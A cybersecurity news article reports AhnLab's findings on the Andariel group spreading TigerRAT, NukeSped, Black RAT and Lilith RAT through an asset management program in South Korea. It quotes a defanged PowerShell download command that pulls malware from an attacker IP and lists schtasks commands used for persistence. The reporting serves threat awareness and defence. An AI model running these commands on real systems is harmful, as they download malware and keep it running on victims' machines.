Cyber Security News

Hackers Exploit Asset Management Program to Deploy Malware

The Andariel group has been identified in recent reports as distributing malware through asset management programs. This group has been previously discovered to be in a relationship with the Lazarus group.

The Andariel group is known to launch supply chain, spear phishing, or watering hole attacks as part of their initial access.

The group’s recent targets were Log4Shell and Innorix agents, which were targeted for attacking several corporate sectors in South Korea. In another case, the MS-SQL server was also identified to be targeted for malware attack. 

The malware used for attacks includes TigerRAT, NukeSped variants, Black RAT, and Lilith RAT. Similar to their previous attacks, their primary targets were South Korean communications companies and semiconductor manufacturers.

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Hackers Exploit Asset Management Program

Initial Access

In one case, an asset management program was targeted, which was identified with several logs.

This program was installed with Andariel group’s malware, which used the below PowerShell command for downloading the malware by using the mshta.exe process.

Powershell command used (Source: AhnLab)

PowerShell command: wget hxxp://109.248.150[.]147:8585/load.png -outfile C:\Users\public\credis.exe

Malware Used in Attacks

Some of the most used backdoors installed were TigerRAT, Black RAT, and NukeSped.

However, in recent attacks, an Open source malware named Lilith RAT was used. In other cases, malware developed in the Go language was also discovered. 


This malware supports various features like uploading and downloading files, executing commands, collecting basic information, keylogging, taking screenshots, and port forwarding.

This backdoor has an authentication process during initial communications, making it different from other backdoors.

Golang Downloader

This malware contains a simple structure that connects the C&C server and installs an additional payload.

It also used Base64 encryption during its communication with the C2 server. This Golang downloader is used to download and install malware like TigerRAT and variants of NukeSped.

NukeSped Variants, Black RAT, and Lilith RAT

NukeSped is a backdoor receiving commands from the C2 server and controlling the affected system.

This backdoor sends a packet using the POST method during initial communications with the C2 server and also sends the results of the executed commands to the server using a GET method.

Black RAT is another backdoor developed in the Go Language which doesn’t have any source code information that was used in recent attacks.

However, Lilith RAT was an open-source malware that was developed in C++ and published on GitHub. 

It consists of various features that can be used to perform remote code execution, maintain persistence, and auto-delete.

Post Infection

Once the backdoors have been installed on the system, they execute the following commands to register them on the task scheduler to maintain persistence. 

> schtasks /delete /tn “microsoft\******” /f
> schtasks /create /tn “microsoft\******” /tr “c:\users\%ASD%\credis.exe” /sc onlogon /ru system
> schtasks /run /tn “microsoft\windows\mui\route”

Post this; additional commands are used to look up the information on the infected system and remove the downloader malware or terminate other processes.

The backdoor also collects information and offers the capabilities for a threat actor to download and use hacking tools for stealing credentials or password recovery. 

A complete report about this threat actor and the malware used has been published by AhnLab, providing detailed information about the source code, commands, and others.

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Eswar is a Cyber security content editor with a passion for creating captivating and informative content. With years of experience under his belt in Cyber Security, he is covering Cyber Security News, technology and other news.

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